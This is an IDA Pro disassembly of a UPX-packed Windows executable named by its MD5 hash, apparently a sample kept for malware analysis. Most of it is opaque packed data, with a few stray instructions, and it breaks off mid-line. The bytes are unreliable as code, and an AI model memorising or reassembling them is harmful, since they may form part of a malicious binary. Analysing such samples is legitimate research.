; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 204131AC3F5323BA1B460A36E945BA50 ; File Name : u:\work\204131ac3f5323ba1b460a36e945ba50_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 30900000 ; Section 1. (virtual address 00001000) ; Virtual size : 00004000 ( 16384.) ; Section size in file : 00004000 ( 16384.) ; Offset to raw data for section: 00001000 ; Flags E0000080: Bss Executable Readable Writable ; Alignment : default .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX0 segment para public 'CODE' use32 assume cs:UPX0 ;org 30901000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dd 1000h dup(0) UPX0 ends ; --------------------------------------------------------------------------- ; Section 2. (virtual address 00005000) ; Virtual size : 00002000 ( 8192.) ; Section size in file : 00002000 ( 8192.) ; Offset to raw data for section: 00005000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX1 segment para public 'CODE' use32 assume cs:UPX1 ;org 30905000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing pop edi mov esi, 0C738A892h aaa mov ecx, 2DFEC13Bh test al, 8 or eax, 0D4B36D1Dh mov ecx, 453928D4h retn ; --------------------------------------------------------------------------- dw 57D5h dd 0B6E6B30h, 386E6FCEh, 0C4503952h, 2DC72379h, 0E7E32910h dd 0B33D878Eh, 4DE603E0h, 18D12A3Fh, 0BDB5653Ah, 5004C6C8h dd 82E4E3A0h, 2668143Ch, 0B00528B4h, 0F74D2F3Dh, 0DC00F0Eh dd 5235EF2Fh, 45BC1A3Eh, 24C3CACEh, 680D3DBCh, 617837D0h dd 0C8506124h, 0A3955882h, 3B3A5513h, 8378B407h, 0CD187E3h dd 0C7C0BBB8h, 4DC47DB1h, 18D3253Ch, 55C76EAAh, 4DD5A357h dd 1CA86B30h, 3020FE03h, 0C428364Dh, 8B46E6D5h, 3B524411h dd 8769D360h, 6F382801h, 0B492459h, 8895C3A3h, 68C07D5Bh dd 90A6B6Fh, 0B0A360Ch, 6ECC4ECEh, 6BC04D6Eh, 0C704400Bh dd 92600E03h, 6B48A43Dh, 0FCBBBD78h, 0C7F80B34h, 67C7C067h dd 0FBF16366h, 301C74B3h, 3C1C7CB3h, 0F7BB6F20h, 375278C7h dd 133949B5h, 0C7C7E3C1h, 28B261C7h, 3BC760B2h, 0F9E13AE9h dd 0DAB83CC2h, 1C6C123Bh, 3ADBF820h, 9DB0EB32h, 83C363B2h dd 0B23968C5h, 22F2C620h, 0BB2EE91Ah, 1B213BF8h, 0C78223DBh dd 2E24C883h, 2CB57E7Eh, 8C2BB0Fh, 0FB648744h, 57D4BB4Dh dd 801783h, 86611F61h, 45B27A74h, 9DCB32DCh, 1BD7C75Eh dd 379C9DE3h, 65B3F008h, 0E3BD2834h, 0BB3B459Ch, 0DDC722FBh dd 8637D5E0h, 300DB645h, 0EE6FDCE9h, 61F8BD61h, 5CB52B4Ch dd 758FC7C3h, 0F9132200h, 0A1FB3B61h, 7CB2C1CFh, 1BD3DC2Dh dd 4413F027h, 0F0F0367Ah, 79B23BD3h, 0C7C586D8h, 7DB3BCE7h dd 4DB36E34h, 38B26F28h, 744CF8BCh, 146B59B3h, 5057C73Ah dd 0B22BE7C0h, 0CFFEB3E0h, 3065B0E0h, 3B2E3000h, 8E3FB02Ah dd 61C75757h, 59C3B87Fh, 3D334461h, 0B43E4742h, 59D6BBCBh dd 0DFCE7932h, 6237C13Eh, 4D707579h, 0FA5C6383h, 73838F33h dd 5F381FB8h, 0B76FB65h, 0E336B3F1h, 3CC7D955h, 292C8E37h dd 0BB79FA3Bh, 0AAC83BC1h, 0B3B661A1h, 0BD862ED6h, 0BE591AFAh dd 0E0B8C552h, 54149850h, 3CE44784h, 68AE995Ch, 3F1DB15Ch dd 4FC85CA3h, 0FF6FB7BEh, 3393E0BDh, 0C45DBB38h, 83505038h dd 1BF92187h, 61613CDAh, 85B1C0B3h, 0C7BD27E8h, 0D6D4E30Ch dd 1C0ABC37h, 283CFFBBh, 0B76F1B36h, 0B35E0E0Fh, 6861DC02h dd 0E7D6B637h, 0B8D7C3C7h, 0B274389Fh, 0A0BDB03Fh, 0BBE0861Fh dd 0A5B159D3h, 0A6B033ECh, 0D7862F4Dh, 0B54AC35Eh, 717F30DEh dd 48F4652h, 307DD307h, 8DB1C855h, 7CFCCEF4h, 0F30EE0E0h dd 1EB8A83Eh, 0DC6C6F91h, 0F9D44367h, 0B2AF3BD7h, 7E3EB02Eh dd 0BA0B7A17h, 0C78246C5h, 7EB5A425h, 8E3A1939h, 0E7D15B37h dd 42C615C0h, 4D3E0024h, 327C524Eh, 4B5FA478h, 21E4D424h dd 36ACC43Eh, 54E188B4h, 790852E0h, 4535E05Eh, 0BE1415Bh dd 38205F3Fh, 8501234Dh, 0DBA1058Bh, 39AE3F0Fh, 0E0E961A4h dd 82772D6h, 0BB617315h, 3D312C75h, 5F20B3FAh, 0B35029D9h dd 35B9C875h, 33A94B12h, 0D0B29CBFh, 653FA638h, 556A19A3h dd 69207C31h, 0E1630F52h, 3FA15B8Eh, 0A8A83C2Fh, 4700E30Bh dd 85238B4Dh, 0AE240A4Ch, 840D4E44h, 0FBFA0077h, 0EC0D8C35h dd 8776D177h, 4EDE4450h, 0FCFF5F5Dh, 0D3C62924h, 0EE152B20h dd 50433BE5h, 6B342148h, 78745038h, 1361EAAFh, 37C86B24h dd 54D46B10h, 2297660Fh, 68C4C093h, 0A3A918BCh, 6B6E8276h dd 3CE06EC3h, 8EE36E26h, 14037330h, 8EE2284h, 86AFEDEEh dd 0F8F22E95h, 0A5CE95A0h, 3752BCB2h, 0B88ED7D6h, 8E8C4978h dd 0FB323FB9h, 29C38714h, 95C45CE1h, 282CCA3Bh, 81EA0B0Dh dd 0C68E47D8h, 0CFD0AB8Fh, 70FAB9C9h, 6A383E23h, 2EC6AC89h dd 0EF70824Ah, 0AF52B542h, 8430EFE4h, 0D5958ED0h, 64919CD3h dd 0C446E7Eh, 0D8E56F1Ch, 7338D816h, 0A2BA6F6Fh, 5330522Ah dd 34AF52E7h, 26F0323Dh, 0F53C7BB5h, 235E73A5h, 1C1C4C43h dd 630B3Bh, 8C5623B1h, 1CF8C2CEh, 7878C6h, 4ECD2071h, 0FAE3463Ch dd 5614A0E1h, 0FA08310Eh, 526E66F8h, 0F49B250Ch, 1E75B30h dd 83E0F4FBh, 0B83B507Fh, 5B241838h, 8D135123h, 3AD76605h dd 20180434h, 37E4EEF3h, 21D3673Ah, 20246F40h, 3BC3212Ch dd 75D81C1Bh, 3539B124h, 0E5FE4610h, 5EF7FFD1h, 39B1DC80h dd 74BC9984h, 21E89143h, 0CA67EDB5h, 0B099D466h, 6AD86436h dd 1B333A03h, 60F5CC45h, 0A26FC929h, 983DB1BEh, 436E2552h dd 8E81C35Eh, 0AC7D2964h, 31A46268h, 18537A3Bh, 40508C44h dd 0DB00CD74h, 0DDC35959h, 6CB2C6F5h, 2EB08C35h, 3E79E2B8h dd 6EC454C1h, 0D6441078h, 241E5852h, 26A27FA0h, 96B2A74Bh dd 0E9903006h, 3F437D8h, 747703FFh, 196626C7h, 57433152h dd 0D750E048h, 0BC129009h, 718737Dh, 33C755EEh, 0E86F223Ch dd 0C37DB0D8h, 2779C328h, 0CAF30C18h, 3CD8E86Fh, 0C2C26F31h dd 0E2AF0D71h, 361150ABh, 0D8E028D9h, 56F58509h, 529A2AB7h dd 6BE41C28h, 5E7CB933h, 8DF5A2FFh, 243A3589h, 58DC4285h dd 0DEB9845Eh, 19E6212Eh, 0B1C4511Eh, 649BD84Dh, 5C0914A0h dd 0F3BD216h, 5EEB3623h, 40F087ACh, 3E25738Ch, 50B9FB0Fh dd 0B87B441Eh, 64E7F17Dh, 20EB4F35h, 0C70B263Fh, 0F43E7850h dd 7113E319h, 64A0547Eh, 0B702C4B8h, 7E340B90h, 0CA3C0B5Ch dd 880E6A4h, 0FF53A83h, 0B4377E30h, 1E0AB81Fh, 438B3709h dd 0FDBDD841h, 0E8308839h, 8404383Fh, 28D5A1C8h, 296EA864h dd 7B7A6734h, 0FD59D640h, 2927C964h, 8A642F8Bh, 0DCD434AEh dd 0C0405632h, 19C9B615h, 1D738699h, 0E243BDB1h, 0F93BBD3Eh dd 9A3C7696h, 224E3841h, 43D024AAh, 0E4182F3Ah, 0C47652D8h dd 2F72217Fh, 3AA9A718h, 2E705098h, 0BEAD8196h, 5453B3Ah dd 0A750399Fh, 83198F0Eh, 7218DE4Eh, 628FF402h, 0DC058123h dd 4EBCD85Eh, 0CC124852h, 3F0E7FAEh, 0F058B49Ch, 0AF5C3266h dd 2101C8E1h, 1038BC42h, 7338079Ah, 16F5F361h, 0F08A5404h dd 9F1B85A0h, 395FDA8Ah, 66837E4h, 46D05064h, 949F35C4h dd 0EB10F835h, 7B232BB4h, 0DD7830F1h, 0D5F51CBCh, 0E334423Ch dd 8A2AFDC0h, 0EE156A19h, 3BA6E324h, 7816C5E1h, 74482AE6h dd 1F21C07Ch, 7884F854h, 23E6687Ch, 355B0ECDh, 0AC8F2628h dd 0D68EAF35h, 0B919AB87h, 0D04494C1h, 2E1C9DB8h, 881D3E38h dd 5046A71Dh, 24A5246Ah, 0A1E62A4Eh, 0AECC4A60h, 5D32D70Eh dd 73264452h, 43F0A40Eh, 0A9867134h, 0F1040671h, 0A8D96C43h dd 0E5AAD5F4h, 0B4A7D11Ch, 0F7401C71h, 0E786AD5h, 0C0BA70F4h dd 0B092D34h, 5ECCFAFAh, 3048423Ah, 0A2BDE8D0h, 0CC7D664Ch dd 2033A567h, 241AC0A2h, 471CDC55h, 0C3653F90h, 3D9C0D06h dd 6F2ABAC0h, 8894870Fh, 624C6FB9h, 4CC0362Ch, 0B34C5073h dd 0A398AB2Ah, 46054CA7h, 0C648AEAEh, 987918A2h, 4BC46DC7h dd 37E061D5h, 68DC81D0h, 0EDAE1094h, 366393CCh, 6D203AC8h dd 33831C0h, 0B48B3B89h, 0CC4D60DCh, 0F049BF1Dh, 0B3203FF9h dd 42E8E835h, 57C5E7D5h, 479B338h, 50F93B6Fh, 70B37514h dd 6840B30Ch, 98CC75B1h, 0AAC3B9B2h, 2450E08Ch, 0AF5DE023h dd 0C8FEAE52h, 30509B39h, 0D4485B2Ah, 0D54CD4C8h, 2928EF35h dd 0A52336BAh, 2C3154A2h, 0B375FACCh, 0C0D95C65h, 20206869h dd 621250AFh, 232D1002h, 0F2296588h, 0E992D33Bh, 0D30C5360h dd 4E936FFCh, 61A38E34h, 4445C86Dh, 67D4CF7h, 0D2657306h dd 683A69C8h, 0D94D76Bh, 80773FFCh, 0C2EEB41Fh, 52E8522Fh dd 4FB1C76Bh, 0FF03D46Dh, 0D3113D4Ch, 0FFBDF523h, 5074A8E0h dd 3661CE36h dd 0EDD33DC4h, 3F81F534h, 71D74C30h, 0D0562131h, 69690819h dd 9375838h, 2C731A51h, 1D351522h, 8C139680h, 8997E535h dd 37D48A2Bh, 892B02D1h, 0C1FA1561h, 2A848E52h, 4A6E473h dd 906834B8h, 59734568h, 14684F75h, 182165F8h, 9C7DA08Fh dd 44947B44h, 6980881Ch, 0DA922CB3h, 94AE2F46h, 225FC7C6h dd 0B059FAB8h, 37E262Ch, 0B8D144CFh, 6538031Ch, 0A282E340h dd 167C646Ch, 6F946267h, 9E3B3B6Eh, 985EE3F6h, 892A4B17h dd 0C8E49DE5h, 6E682168h, 0B8409238h, 4F94E41Eh, 0CC26FCADh dd 49D555E9h, 34C25071h, 0E1FFC7C8h, 30AB550Ah, 12F40C0Ch dd 0D967416h, 324D058Bh, 18846832h, 1FFAF822h, 0FE6C204Ch dd 347803Fh, 8D860139h, 34787D17h, 303938B3h, 1C7CB569h dd 8B541E67h, 290819E0h, 1C613BEBh, 0A731E536h, 83F42D3Fh dd 17F0183Fh, 0BE40C754h, 0C0F0DC0Bh, 0BD28DFF9h, 0F70E2233h dd 3A38BFF0h, 0B2A65B3h, 0B639F0D8h, 0BABEAFCh, 0AD256118h dd 8C8CFE6Bh, 29E2975Eh, 1D197D0Fh, 3CEEEBFBh, 0DF21BB48h dd 34F58D95h, 0C82F8BF0h, 0F0DAD79h, 50A1E45Eh, 545005A0h dd 77F87C8Fh, 5B0E1435h, 756CC67Fh, 0BDA0829Dh, 6CE22CA3h dd 0B9873844h, 990C4F67h, 4138810Bh, 0F903FF13h, 0D5D63A4Ah dd 0F9B3E54Eh, 991113D9h, 0FF3B2080h, 0FC8C941Bh, 5A56AE7h dd 52294A1Bh, 237EC040h, 0D3775FBDh, 68D92BFCh, 0A6F1DC7Eh dd 26EC2915h, 4502DACh, 0E5F19461h, 503B33h, 94FF04AFh dd 6B028E8Bh, 0BB6A6B6Ch, 0E9B0C42Ah, 0FAA01CE8h, 0E33CCC3Ch dd 6F080B7Fh, 0E889F0CCh, 0BE8E9FE5h, 8776F5E1h, 503E5850h dd 35E6D58Eh, 25B1B850h, 6D201FBCh, 95F82CD4h, 0ECB14D05h dd 6B5A38CAh, 0EA533A43h, 2398B3Ch, 0F54FB884h, 346C9BA2h dd 0ED4C2275h, 1710E1D9h, 349BE4F5h, 0A5D14074h, 9CC69B0Eh dd 6E696BC4h, 535F735Ah, 50E002BEh, 0C3DB1E6Eh, 66C10B48h dd 28FA6021h, 9071A23Dh, 6EF86651h, 8FD03473h, 0B166AB87h dd 3D35D465h, 27C71DC7h, 99FB023Ch, 9BE5BB47h, 0DF4C7BF4h dd 0BCF4B227h, 68E74CF1h, 0CD445E53h, 87AD21Eh, 0A8979D78h dd 5C5D2ED1h, 67437C34h, 9E86B7D2h, 27E02CC0h, 7750A670h dd 175F3218h, 273731FFh, 0F76BDAD3h, 33087D67h, 0A87B2ADEh dd 5EE24839h, 496D3E5h, 29EE880Bh, 4E03A06h, 0EEDE26A0h dd 508CB802h, 0B4F92D88h, 0E89B9355h, 0FB444CD8h, 43B8D45Eh dd 0DC22FC9Bh, 5E6A8F05h, 7D3CD4CFh, 0D3511D8h, 2281213Ch dd 23C3001Eh, 1BBB500Bh, 0D3DC852Bh, 1FE2C5B5h, 0A1472BBEh dd 7CF00D51h, 871F048h, 58780160h, 89FB93A8h, 7C50E82Ah dd 42E0A4CBh, 54002EF5h, 0C42D7B9Bh, 0EF13C6F8h, 23CE2050h dd 0C1C3CFFh, 3E785C33h, 241C145Ch, 3E785C3Eh, 0F030342Ch dd 36770CB8h, 21383CCEh, 0C43673A8h, 39CCC075h, 0D439A821h dd 2139A8D0h, 0E4D8DCA8h, 0CC17F9CBh, 4CB50161h, 75EC5001h dd 0F1B19089h, 0F4051EE0h, 4BFC3E75h, 0E51E2A2Fh, 32988435h dd 467F1671h, 506FED2Ah, 3D3719ADh, 0D8C92EA4h, 1F7DF01Ah dd 0BF53AC70h, 5DE061CCh, 20C66F2Ch, 0D39A2BB0h, 0BA773231h dd 92D48DBh, 3455548Dh, 51633124h, 0FA939CB8h, 8B47B87Fh dd 337DB269h, 2683489Dh, 0AC74336h, 74026AE3h, 9753Dh dd 95C930C6h, 0B01D0765h, 3F913365h, 0D8F37F6h, 21C43EE4h dd 0A1829CD8h, 0EE3BC6CFh, 0DB15AF9Bh, 0B8FBC647h, 854AC7C3h dd 4E5AF866h, 52F431E1h, 0B4D3267h, 24135550h, 3077600Ah dd 0E03C32B9h, 0DA39D594h, 4DAD3331h, 5B88759Ch, 0E8374DBEh dd 0CA0A1D0Eh, 0B1AEF6EEh, 0C7BC0A05h, 0BEE7EF3Bh, 0B97B3762h dd 0A7A411C3h, 0D65BF67h, 0BC1E0DB3h, 0A6344B43h, 9A58EB13h dd 633E17D4h, 4B8EE704h, 0C6C73CC5h, 0E1504C4h, 0B047F546h dd 0B3FE53CFh, 0E1C10391h, 0E488D461h, 989B0692h, 2AF7A66Fh dd 6F170339h, 61C0E4A4h, 54BF2A8Fh, 0F9C7A22Bh, 7FD64D8Bh dd 0C02AC8EEh, 9E1F2850h, 0F8EB86EBh, 0A659D8D8h, 910B48BCh dd 7331B1AEh, 0F026766Eh, 89650821h, 886448B7h, 42C844F7h dd 0F4786AC0h, 0BB398133h, 50883B57h, 28797674h, 0C8314329h dd 7A821556h, 0B8FE3754h, 0AB595833h, 9C07E7D3h, 6FAB6E6Dh dd 61E63B09h, 21DEECB2h, 0D999A049h, 27349D69h, 2383CCC5h dd 2C500E1Ch, 33CE5F6Bh, 68523Ah, 5EB957CEh, 3D0A65E0h dd 4C38AEEAh, 0DF43120h, 3F298526h, 2C213D28h, 2C241F4Eh dd 3EE07738h, 5592DD2Eh, 0FB77FA3Fh, 0ED6B354Ch, 0BE2869FFh dd 2F30BC3Fh, 201C7401h, 2359E302h, 0D5BDD5C2h, 1A932946h dd 2C75141Eh, 0E5885CD7h, 9A3DAE59h, 4D35CAD3h, 0AED079E2h dd 38E5D35Dh, 1B0B0750h, 19163DBBh, 0E72D34A4h, 973DB0E1h dd 2C302856h, 7A242391h, 2017690Dh, 0E0E03A6Eh, 2005A88Ah dd 56E06CEh, 645B29F6h, 2012E44Ch, 8F731459h, 1868E13Dh dd 0C4302028h, 3BA4335Ah, 6D376688h, 6F62FEB3h, 32DF619Ah dd 20146E16h, 6BF6F1A8h, 1F386D6Eh, 0BC62F661h, 346A3213h dd 0AA5AF73Ch, 8D65343Bh, 0B1DA3910h, 0E66B18FBh, 0CECC761Fh dd 0B6788F2Bh, 260402ACh, 41760E64h, 619EECFh, 0C0E73200h dd 0F1589C0Bh, 5042D72Eh, 42E0580Dh, 0C2CE5029h, 23182A28h dd 9E3CCF44h, 7F45CA24h, 39264CB5h, 58C7C4B9h, 276E053Ah dd 8DC7241Ch, 0AFA864D8h, 0C7737D42h, 0D96A2737h, 30E1A188h dd 0D47E6858h, 0A1E8004Eh, 8FB18593h, 0DEDCB800h, 0E83766E0h dd 443BFF6Fh, 50EC3E1Ch, 4A0124B6h, 7CE468E0h, 8DC04D8h dd 7F1BA9DFh, 34D420D0h, 0E976C8C8h, 0CCF4210Ch, 324588D8h dd 0DA595B87h, 0C0865B44h, 699AB345h, 420995Ch, 0E308BF0h dd 4D49F3E0h, 2518362Fh, 0A6A29E75h, 0BB0F3930h, 314D8E9Ah dd 887CB27Eh, 0CC5140B9h, 4C88B47Fh, 604C9531h, 0B95B52B0h dd 9661B38Bh, 2399BC83h, 7F94217h, 0BB3BD8BBh, 0A56E3DF8h dd 72B3BE81h, 28F0F56Ah, 20567DA5h, 0EEEF0529h, 0D65E2405h dd 2C361Eh, 0D77A68D9h, 9959A014h, 0F2781878h, 6507344h dd 8B3E96FEh, 0E0BDF461h, 1DEB2C79h, 0CC6CF799h, 0D83F8F39h dd 3778AE13h, 0B0DF57BCh, 0FD2F06F9h, 2CFF7027h, 55F82FCFh dd 6AD81D60h, 2552D88Ah, 49808768h, 0FA2078CDh, 4C0769E4h dd 0D0206F0Fh, 83320858h, 21BBF44Fh, 6AE9CE10h, 8428CC6Bh dd 0F5C3A26Bh, 8900055Ah, 0F66137D3h, 0CEF6B93Dh, 0D3508E0Ah dd 0AEF8DB4Ch, 831E5DDAh, 8B4BA050h, 0ECE4355Dh, 3581837Eh dd 8C35588Bh, 66DA5F22h, 0D457742Ah, 0DF716F9Ch, 383FE09h dd 3134F35Ch, 0D89614C5h, 29B34133h, 0D334703Fh, 0E9B0362Dh dd 31F5585Ah, 1399D220h, 3464686Bh, 0FD8B7C0Bh, 5077C006h dd 292B524Eh, 7A9E5678h, 0C738F4E7h, 0C03D193Dh, 21A6C228h dd 23C8CC41h, 0E7456938h, 0B5A2A990h, 0B92C4A33h, 8F1533D1h dd 3CC3261Dh, 4B2F39BDh, 0FC0913D4h, 1BD9B334h, 0B3ED8363h dd 683CD130h, 645C7B6Bh, 5B5B5938h, 3871603Dh, 1AF81238h dd 73C9C928h, 3A3E10CBh, 796B6A1Ch, 0C7C7B809h, 3987734Fh dd 0BBB5CD39h, 0D46A4129h, 0CE02DC12h, 0D2A371DFh, 199786D8h dd 0C7C7C7C7h, 0AD7C46E3h, 0A596622h, 5227BD98h, 0ACC7ACA7h dd 1E9EBC01h, 25F60DB7h, 33F19D64h, 4A5D428Ah, 7847C7C7h dd 42577593h, 59545451h, 8160C17h, 575B1018h, 4C594855h dd 0C7CE8FC7h, 5D545A51h dd 6B751803h, 0E187D71h, 516F312Dh, 4F575C56h, 6C76184Bh dd 0C3902F4Eh, 9160D18h, 86DC0C11h, 393CEC38h, 0DFA643FCh dd 98368C43h, 3C4CB8A8h, 0D78641DFh, 31603650h, 574C0470h dd 0ECA6F18Ah, 1A187D08h, 0BEC77228h, 3808A644h, 5B2B78C0h dd 54164E4Eh, 4AE35343h, 384F464Dh, 545C5D3Fh, 0C7375DAFh dd 5E55C6CEh, 5D4B5DF9h, 505B4A59h, 574A2736h, 5B40575Ah dd 4B4EC750h, 5F5659DDh, 4C5D27EAh, 165C4A34h, 3842515Ah dd 8FF0E333h, 505B1059h, 34555953h, 0E3153E4Ch, 40894B4Eh dd 543E381Ch, 0F5A3657h, 0E345D553h, 4E1E7F5Eh, 4C16423Ah dd 3929234Eh, 4CC32063h, 56164857h, 4B37512Fh, 0E339C61Fh dd 40B50B32h, 4D5C5937h, 5D154C54h, 2F5EC58Eh, 0B84A5173h dd 9E56570Bh, 2DB8764Bh, 164CD586h, 51775F5Ah, 8EC70A5Fh dd 4038C3CEh, 5214594Fh, 38955A5Ah, 5E5942A3h, 55C8A959h dd 6516905Fh, 97641B5Dh, 37C7D5E3h, 5C5B5A59h, 505F5E5Dh dd 54535251h, 49FD5655h, 0C14DCF4Ah, 4EC0E7C7h, 4241404Fh dd 7B7A796Ch, 7F7E7D7Ch, 73727170h, 77767574h, 59C76968h dd 6D6C478Ch, 61606F6Eh, 501B2362h, 2484C4Ch, 0F5C01717h dd 4B1DE025h, 0AF5D1733h, 48504816h, 45870507h, 37053663h dd 565B4B1Eh, 511E5C3Eh, 0BB4E5E56h, 386E3ACh, 1E0F0905h dd 98234C2Bh, 4365C5D3h, 9056088h, 39900F0Ah, 8000209h dd 475D1708h, 0E7CE7EF8h, 0E7D038E7h, 5EF10B65h, 0D58FC781h dd 0B539D6C7h, 0C6B33D4Dh, 0A1043EB2h, 143E7E3Fh, 0A10C7E08h dd 0DA7F3FB0h, 222FC3D5h, 0D032D3CCh, 5DE796E2h, 0AB49165Fh dd 0CF39F1A1h, 2AC757C7h, 0C5A985C5h, 4AF93F2Eh, 0C57A9250h dd 28C5925Eh, 91242C82h, 0E0C722A0h, 0CBF1C395h, 0BE30C9A0h dd 28F8493Ah, 0FF367A8h, 0F1AE61AAh, 24E1C5BFh, 0DC2C0240h dd 3245496Fh, 0F67D4902h, 0CBCEE745h, 0B13CC9A5h, 0A43CC931h dd 0FF4E7829h, 5F8BA9C6h, 28C8DBCBh, 8A33E424h, 0F1A35861h dd 0CFC326FFh, 2CE1391Dh, 0F22F993Ch, 0B513A649h, 1B33E150h dd 95A959F3h, 25AEDA22h, 8EF71029h, 688ACE8Fh, 2CA138F0h dd 1D6D6FE4h, 0CE9C762Ah, 0F8CED757h, 0A1712AA9h, 386CCFD5h dd 0F202FC2Ch, 240349F3h, 46D6FBE1h, 19DC1CC7h, 0F5F5F722h dd 0B9145EB7h, 8E77C5E3h, 88C32607h, 0F5FBBB80h, 0F190652Ah dd 0E10725F3h, 951D0FF6h, 7062331Ch, 0C75DAE9Eh, 2CF88A5Ch dd 9F117423h, 82A4CBD3h, 0E1C3D4C7h, 0CC0C2ED1h, 0C4CD491Eh dd 2B03C136h, 0C77E11D7h, 53C3830Fh, 5EE6670Fh, 9690D47Fh dd 0FD8F392Eh, 0D4D1D5C7h, 88BFE5D1h, 0C48FC5CFh, 0F23914D9h dd 62C4C4CDh, 0E7C7CACAh, 0CFD3C4C6h, 9392CDC4h, 0C10CFFEEh dd 1D8C6192h, 0F15E1212h, 0B9A8AB94h, 8BC0678Fh, 5BA5A8C7h dd 49F5F1BBh, 218708AAh, 0E12C690Dh, 0A94A32ADh, 4E2847C7h dd 0D3F04912h, 0ED2A9DEAh, 6AA2D9B8h, 0B52C5792h, 4757A212h dd 81F0C59Bh, 72A2B32Ah, 93A6FB7Fh, 9B21E3A3h, 9A54D418h dd 0C7C6E7C7h, 0D5BD85E5h, 0D09AE7A6h, 6D7CD3B9h, 2785F02Ah dd 0D3B516AEh, 0A2BDE02Ah, 31A52A62h, 0DEBDBCC7h, 0C02862A2h dd 711AE8AEh, 0C6C5475Eh, 8F8F552Ah, 6291BFE5h, 0BD3AADFAh dd 0A93CBA2Ah, 0E4CFF362h, 0F7980BC4h, 6BC7BD47h, 204A7A75h dd 0C267F06Bh, 0C6C7BCDFh, 683A385Ah, 6C7DBB7Bh, 95CE776Fh dd 736AC7C9h, 776A6818h, 75796A7Fh, 2FF50918h, 75767974h dd 704D913Ah, 5E933289h, 0E3738F2Dh, 533B6395h, 484D835Fh dd 59220B36h, 4D826337h, 0A1B751Fh, 0A0A1960h, 5194160Ah dd 0EE09AD0Bh, 0A041820h, 0DC5C95B3h, 3F4B9C21h, 7AD5CE35h dd 1BC7346Ah, 32293C38h, 0D557182Ch, 0EC3DB57Eh, 743851E8h dd 686B6B73h, 7C07BA70h, 30BAAF8Fh, 338172D8h, 386FCEC4h dd 5C38561Ch, 384D5738h, 575C024Bh, 84C8E17h, 1B43139h dd 0E1B0D38h, 25735658h, 0E2383F16h, 0DFA82193h, 0E218307Ch dd 71F9A56Fh, 383BA71Eh, 0F0377ECAh, 7F1BBB58h, 383E783Fh dd 4BC7D03Eh, 2739281Bh, 0D8B0B22Dh, 38773870h, 0C7C6F87Ch dd 5221C6B5h, 71DCCA42h, 8971024h, 5F284C1Dh, 7AA6D96Bh dd 0E764B186h, 3C38084Dh, 6364EF66h, 62853F64h, 23596430h dd 75D38123h, 380E3F16h, 84F1600h, 0FCF5A523h, 0D438718Eh dd 738D07Bh, 0BF04B844h, 309A5C5Bh, 0A8433CE4h, 2E788EC7h dd 0E6E638C7h, 2E383638h, 1E3A39A7h, 3131BCE7h, 3B211078h dd 86D99B58h, 0E154B329h, 2C48EB4Ch, 0A3EE65CAh, 1D53A412h dd 8EE1D436h, 703628A7h, 0DF6C233Ch, 2BD3968Eh, 5B1E626Ch dd 0FF641A61h, 0C7A279F3h, 0BF5D7DE4h, 3B33383Dh, 0C7C77028h dd 2880D75Ah, 3D333680h, 1211052h, 29E88934h, 0F83890A3h dd 0CE07C886h, 0CD16E177h, 0B2B06567h, 29F124D3h, 1304D0A7h dd 6587028h, 0E9F3E12Fh, 589BCC34h, 26783498h, 349872CAh dd 0A5C73489h, 98382124h, 3878B034h, 3BD43831h, 44ABFA05h dd 2CAD383Fh, 48447778h, 5C6ACE78h, 3F3887BBh, 0D9042B7Bh dd 0BD407C47h, 6393382Bh, 282BD19Eh, 3CDFB4C0h, 0C6C717CAh dd 20581B36h, 86785214h, 0D1CABC30h, 7BB0D106h, 0C7D62881h dd 8288039h, 344104A3h, 3F359518h, 0C132CAF7h, 20E03747h dd 0F0BC4839h, 37AA84BFh, 37AD37BCh, 46771E38h, 0BC473A3Bh dd 57375437h, 38FBFA6Dh, 7B5790A2h, 5C7E3CA7h, 5651272Bh dd 6B556860h, 6818DD58h, 7C7E384Ah, 7A1FDC39h, 530A01A6h dd 4D2D2A04h, 7A3E853Ah, 386B79A6h, 6FC7AC24h, 0D339A936h dd 6464FE3Eh, 51644B1Dh, 0C7C48248h, 5E1C5BF5h, 3F24D4B9h dd 6B38DCC7h, 5A5D7C5Dh, 4E515F4Dh, 0A2B44523h, 799F5FBDh dd 594D525Ch, 74E34A6Ch, 5D5357CEh, 744B2F56h, 484D2A57h dd 77D6E78Eh, 4D54596Eh, 772F795Dh, 5B571048h, 4D144B1Ch dd 380CFE9Ch, 7594E7Bh, 91698A0Bh, 7441DB20h, 2EB5C455h dd 295D26B0h, 594A6C67h, 0AEE26F41h, 2F0D72D2h, 2259097Bh dd 0E5F6916Ah, 3D5750AEh, 2C34506Ch, 8D824B6Eh, 60E36995h dd 7D771079h, 8E8BEA40h, 56024FA1h, 0CBCD7F0Dh, 0C73B126h dd 6C6C70C2h, 18044768h, 91626F0Ah, 771846CFh, 39323573h dd 8B7CA773h, 3AE58D57h, 5F3C7415h, 1D180215h, 595204Dh dd 10175D14h, 1E8D416Ch, 55636B0Eh, 5BBE489Bh, 0CF172DBBh dd 3A957F6Ch, 4AAB15FFh, 60FD99F1h, 7F6FA713h, 9BE51338h dd 0CECC6995h, 4BF3DD5Ch, 13C5995Dh, 4E4B55B5h, 4FF3915Bh dd 91FD83D6h, 0A3BC951h, 0DF4D2F67h, 54EB7585h, 0C0D0E3Bh dd 5683510Bh, 3FF6A251h, 8090A3Bh, 0F00A1301h, 3800F6DFh dd 0C0D3FDDh, 34BB18F0h, 1E090A0Bh, 80A369Ch, 2E3400Fh dd 9D5307C6h, 6B9BF98Ch, 6F6C7E77h, 647D6A79h, 89585175h dd 57D16D55h, 0FB9F6487h, 64C5EEE5h, 4A4A4D7Bh, 4BFC6EC5h dd 4D6A64CAh, 36E8FB94h, 0DC6DFCB3h, 0CE7523B7h, 565F878Eh dd 524A5C4Bh, 0DA5D1B41h, 